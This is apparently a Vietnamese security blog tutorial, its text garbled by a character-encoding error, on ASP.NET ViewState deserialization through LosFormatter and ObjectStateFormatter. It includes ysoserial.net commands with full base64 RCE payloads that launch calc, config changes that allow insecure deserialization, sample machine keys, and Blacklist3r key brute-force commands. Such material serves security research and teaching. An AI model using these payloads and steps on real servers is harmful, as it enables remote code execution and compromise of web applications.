LosFormatter - ViewState deserialize
Bร i nร y sแบฝ lร mแปt sแป note cแปงa mรฌnh vแป LosFormatter vร exploit ViewState deserialize
Demo LosFormatter
Theo nhฦฐ docs Microsoft thรฌ LosFormatter sinh ra ฤแป serialize ViewState dรนng trong cรกc trang Web Forms. Vร theo nhฦฐ docs nรณi thรฌ LosFormatter cลฉng khรดng an toร n nแบฟu sแปญ dแปฅng khรดng ฤรบng cรกch. Vแบญy thรฌ cแปฅ thแป nรณ khรดng an toร n nhฦฐ thแบฟ nร o thรฌ ta sแบฝ tรฌm hiแปu แป phแบงn sau.
ฤแบงu tiรชn ta cรณ code minh hแปa sแปญ dแปฅng LosFormatter nhฦฐ sau
using System;
using System.IO;
using System.Text;
namespace LosFormatter
{
internal class Program
{
[Serializable]
class Person
{
private string name;
public string Name
{
get { return name; }
set { name = value; }
}
private int age;
public int Age
{
get { return age; }
set { age = value; }
}
public Person(string name, int age)
{
Name = name;
Age = age;
}
public void SayHello()
{
Console.WriteLine("hello");
}
}
public static void Main(string[] args)
{
System.Web.UI.LosFormatter losFormatter = new System.Web.UI.LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
losFormatter.Serialize(memory, new Person("endy", 20));
memory.Position = 0;
Person p = (Person)losFormatter.Deserialize(memory);
p.SayHello();
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
Console.ReadKey();
}
}
}
Kแบฟt quแบฃ

Ta sแบฝ thแบฅy kแบฟt quแบฃ khi dรนng LosFormatter ฤแป seri lร mแปt chuแปi base64 bแบฏt ฤแบงu bแบฑng /wEyt.
Thแปฑc chแบฅt quรก trรฌnh seri vร deser cแปงa LosFormatter lร gแปi ฤแบฟn hร m seri vร deser cแปงa ObjectStateFormatter
Vรญ dแปฅ khi gแปi LosFormatter deser

Giรก trแป cแปงa this._formatter

Tแบกi ObjectStateFormatter
sแบฝ base64 decode giรก trแป nhแบญn vร o rแปi tiแบฟn hร nh quรก trรฌnh deser thแบญt sแปฑ

Demo exploit vแปi chain TextFormattingRunProperties
D:\App\ysoserial.net-portale\Release>ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c calc
/wEykQcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACzBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L

ViewState
Demo ViewState
Theo mรฌnh hiแปu ViewState tฦฐฦกng tแปฑ nhฦฐ cฦก chแบฟ cache cแปงa web thรดng thฦฐแปng nhฦฐng ฤฦฐแปฃc dรนng trong cรกc แปฉng dแปฅng Web Forms giรบp lฦฐu trแบกng thรกi ngฦฐแปi dรนng. Giรก trแป cแปงa ViewState sแบฝ nแบฑm trong cรกc filed แบฉn cแปงa form vร ฤฦฐแปฃc serialize bแปi LosFormatter. ฤแป tiแปn demo thรฌ ta sแบฝ tแบกo mแปt trang dรนng web forms nhฦฐ sau:
Chแปn new project trong Visual Studio vแปi options lร ASP.NET Web Application

Nแบฟu khรดng cรณ options nร y thรฌ mแป Visual Studio Installer rแปi chแปn Modify -> Individual components
vร tick vร o .Net Framework project and item templates
ฤแป tแบฃi vแป

Sau khi ฤแบทt tรชn project xong thรฌ ta chแปn Web Forms

Sau ฤรณ mรฌnh tแบกo mแปt file Form.aspx
ฤแป demo nhฦฐ sau
<%@ Language="C#" AutoEventWireup="true" CodeBehind="Form.aspx.cs" Inherits="ViewStateDemo.WebForm1"%>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
Run Web vร truy cแบญp /Form ta sแบฝ thแบฅy giรก trแป Viewstate

Ta cรณ thแป decode ฤแป xem value cแปงa viewstate bแบฑng extension ViewStateDecoder

ฤi sฦก qua quรก trรฌnh handle __VIEWSTATE
tแบกi package System.Web.dll. Ta sแบฝ thแบฅy, giรก trแป __VIEWSTATE
ฤฦฐแปฃc lแบฅy ra tแปซ method Page.RequestViewStateString

Trace ngฦฐแปฃc vแป ta biแบฟt ฤฦฐแปฃc tแบกi method Load
cแปงa HiddenFieldPageStatePersister
sแบฝ gแปi ฤแบฟn Page.RequestViewState
vร giรก trแป ViewState ฤฦฐแปฃc deser bแบฑng Util.DeserializeWithAssert

Hร m Util.DeserializeWithAssert
sแบฝ deser string vแปi formatter truyแปn vร o

Trace mแปt hแปi thรฌ ta biแบฟt ฤฦฐแปฃc formatter ฤฦฐแปฃc sแปญ dแปฅng lร ObjectStateFormatter
. Do ฤรณ nแบฟu attacker kiแปm soรกt ฤฦฐแปฃc giรก trแป ViewState (ฤiแปu nร y lร hiแปn nhiรชn) cรณ thแป trigger RCE vแปi cรกc chain dรนng ฤฦฐแปฃc cแปงa ObjectStateFormatter
Vรฌ thแบฟ Microsoft cลฉng cung cแบฅp mแปt sแป tรญnh nฤng ฤแป secure ViewState nhฦฐ:
ViewStateEncryptionMode: cho phรฉp Viewstate hiแปn thแป แป client dแบกng ฤฦฐแปฃc encrypt -> viแปc nร y chแป ฤแป phรฒng chแปng viแปc lแป lแปt thรดng tin trong viewstate cรฒn khi exploit thรฌ ta cรณ thแป ฤแบฅm nhฦฐ bรฌnh thฦฐแปng
EnableViewStateMac: Dรนng MacKey trong quรก trรฌnh deser viewstate ฤแป xรกc thแปฑc -> trรกnh viแปc attacker dแป dร ng lแปฃi dแปฅng viewstate. Tแปซ bแบฃn .NET framework 4.5.2 trแป ฤi thรฌ EnableViewStateMac ฤฦฐแปฃc enable mแบทc ฤแปnh luรดn, cรฒn cรกc phiรชn bแบฃn thแบฅp hฦกn thรฌ mแบทc ฤแปnh khรดng cรณ hร nh vi nร y mร ta phแบฃi tแปฑ config. Extension ViewStateDecoder mรฌnh ฤแป cแบญp แป trรชn cลฉng cho ta biแบฟt viewstate cรณ ฤang ฤฦฐแปฃc bแบฃo vแป bแปi MAC key hay khรดng, nแบฟu cรณ thรฌ ViewStateDecoder return enable cรฒn nแบฟu khรดng thรฌ return unknow
Do ฤรณ ta sแบฝ cรณ bแบฃng sau แปฉng vแปi tแปซng case khi exploit Viewstate
1.
Any
false
false/true
No
2.
<4.5
false (default)
false/true
No
3.
<4.5
true
false/true
MAC Key
4.
>4.5
true (default)
false/true
MAC Key
Case 1 vร 2: .NET any version and MAC disable
Vรฌ 2 trฦฐแปng hแปฃp exploit nร y ฤแปu dแปฑa trรชn viแปc MAC encrypt disable nรชn mรฌnh gแปp chung luรดn.
Nhฦฐ ฤรฃ ฤแป cแบญp thรฌ tแปซ sau bแบฃn .NET 4.5 EnableViewStateMac mแบทc ฤแปnh lร bแบญt. Nhรฌn lแบกi vร o hร m deser tแบกi ObjectStateFormatter ta sแบฝ thแบฅy trฦฐแปc khi deser sแบฝ cรณ ฤoแบกn check EnableViewStateMac

EnableViewStateMac
sแบฝ gแปi ฤแบฟn EnableViewStateMacRegistryHelper

EnableViewStateMacRegistryHelper
gแปi ฤแบฟn method IsMacEnforcementEnabledViaRegistry
ฤแป check

ฤรบng nhฦฐ tรชn gแปi thรฌ IsMacEnforcementEnabledViaRegistry
check reg xem Mac cรณ Enable hay khรดng

Mแบทc ฤแปnh thรฌ reg nร y cลฉng cรณ value lร true

Khi nร y ta cรณ thแป setup MAC Key trong phแบงn web.conf, nแบฟu khรดng setup thรฌ mแบทc ฤแปnh sแบฝ gen ngแบซu nhiรชn vแปi alg lร HMACSHA256

Khi setup Mac key trong web.conf thรฌ ta setup nhฦฐ sau
<system.web>
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"/>
</system.web>
Lรบc nร y thรฌ ta sแบฝ cรณ ฤฦฐแปฃc giรก trแป validationKey vร decryptionKey nhฦฐ setup

Ta cรณ thแป config on/off EnableViewStateMac ngay trong file aspx bแบฑng options EnableViewStateMac="false"
hoแบทc EnableViewStateMac="true"
. Tuy nhiรชn vแปi cรกc bแบฃn .NET โฅ 4.5 cho dรน ta cรณ set EnableViewStateMac="false"
thรฌ config cลฉng sแบฝ ฤn theo reg do ฤรณ ta cแบงn phแบฃi config thรชm trong file web.conf giรก trแป nhฦฐ sau ฤแป allow insecure deser
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true"/>
</appSettings>
Ta dรนng ysoserial ฤแป gen payload
D:\App\ysoserial.net-portale\Release>ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "calc"
/wEylQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAAyAkvd0V5a1FjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBQ3pCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdZMkZzWXlJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL

Case 3: .NET version <4.5 and MAC enable
ฤแปi vแปi case 3 ta sแบฝ cรณ 2 trฦฐแปng hแปฃp nhแป hฦกn lร khi Encryption true vร Encryption false.
Nรณi sฦก qua mแปt chรบt cรกc on/off Encryption. Ta cรณ thแป on/off thรดng qua options ViewStateEncryptionMode
. Cรกc giรก trแป cแปงa ViewStateEncryptionMode

Giรก trแป cแปงa ViewState khi Encryption enable

A. Encryption false
ฤแป dแป demo thรฌ mรฌnh sแบฝ thรชm mac key vร o web.conf nhฦฐ sau:
<system.web>
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"/>
</system.web>
Khi nร y nแบฟu muแปn exploit ta cแบงn phแบฃi biแบฟt giรก trแป cแปงa validationKey. Quay trแป lแบกi mแปt chรบt ฤoแบกn deser cแปงa ObjectFormatter
. Ta sแบฝ thแบฅy trong trฦฐแปng hแปฃp EnableViewStateMac
lร true (1) ta sแบฝ nhแบฃy vร o hร m MachineKeySection.GetDecodedData
(2) trฦฐแปc khi deser giรก trแป (3)

Hร m GetDecodedData cรณ nhiแปm vแปฅ check xem data ฤฦฐa vร o cรณ legit hay khรดng dแปฑa vร o MacKey

ฤแป phรขn tรญch cแปฅ thแป cรกch nรณ check legit thรฌ khรก out context vแปi lแบกi mรฌnh quรก lฦฐแปi nรชn chแป note ฤแบฟn ฤรขy thรดi ๐ง
Nรณi tรณm lแบกi lร khi EnableViewStateMac
lร true ta cแบงn biแบฟt ฤฦฐแปฃc validationKey ฤแป exploit. Viแปc cรณ ฤฦฐแปฃc validationKey cรณ thแป lร thรดng qua viแปc ta exploit read file -> read web.conf -> cรณ ฤฦฐแปฃc validate key.
Lรบc nร y ta gen payload vแปi ysoserial nhฦฐ sau
ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "calc" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --generator=DB68D79A
Vแปi giรก trแป generator
lร __VIEWSTATEGENERATOR
cแปงa mแปi form. Ta chแป cแบงn Ctrl+U
lรชn lร thแบฅy
Kแบฟt quแบฃ:

ฤแปi vแปi trฦฐแปng hแปฃp khรดng exploit ฤฦฐแปฃc gรฌ ฤแป cรณ ฤฦฐแปฃc MAC Key ta cลฉng cรณ thแป brute force vแปi Blacklist3r
Ta chแป cแบงn cung cแบฅp giรก trแป __VIEWSTATE
vแปi option -c
vร __VIEWSTATEGENERATOR
vแปi option -m
nhฦฐ sau
AspDotNetWrapper.exe -r MachineKeys.txt -c /wEPDwULLTE2MTY2ODcyMjlkZJ72r+Gzx1mnIhOnsSTC8Sha0Toi -p viewstate -m DB68D79A -s
Kแบฟt quแบฃ

Khi cรณ key rแปi thรฌ ta gen payload nhฦฐ trรชn
B. Encryption true
ฤแปi vแปi trฦฐแปng hแปฃp nร y dรน Encryption lร true mร ta cรณ ฤฦฐแปฃc MAC key thรฌ vแบซn gen payload vร exploit nhฦฐ thฦฐแปng.
....<TODO>....
Case 4: .NET version >4.5 and MAC enable
Hiแปn tแบกi mรฌnh khรก bแบญn khรดng cรณ nhiแปu thแปi gian test phแบงn nร y nรชn chแป note cรกch gen payload. ฤแปi vแปi .NET version >4.5 thรฌ ngoร i MAC key ta cแบงn biแบฟt thรชm application path ฤแป exploit
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Vแปi --path
lร full path ฤแบฟn endpoint exploit cรฒn --apppath
lร IIS dirpath tแปฉc lร application name.
Ta cลฉng cรณ thแป dรนng Blacklist3r ฤแป brute key
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
Thamn khแบฃo thรชm: https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
Bonus
Bonus mแปt trฦฐแปng hแปฃp lร khi viewstate bแป disable vแปi options EnableViewState="false"
. Dแบฅu hiแปu cแปงa trฦฐแปng hแปฃp nร y lร khi ta F5 nhiแปu lแบงn nhฦฐng giรก trแป ViewState khรดng thay ฤแปi. Mแบทc dรน mang tiแบฟng lร ฤรฃ off nhฦฐng param __VIEWSTATE
vแบซn ฤฦฐแปฃc handle vร deser do ฤรณ ta vแบซn cรณ thแป exploit nhฦฐ bรฌnh thฦฐแปng.
Refer
Last updated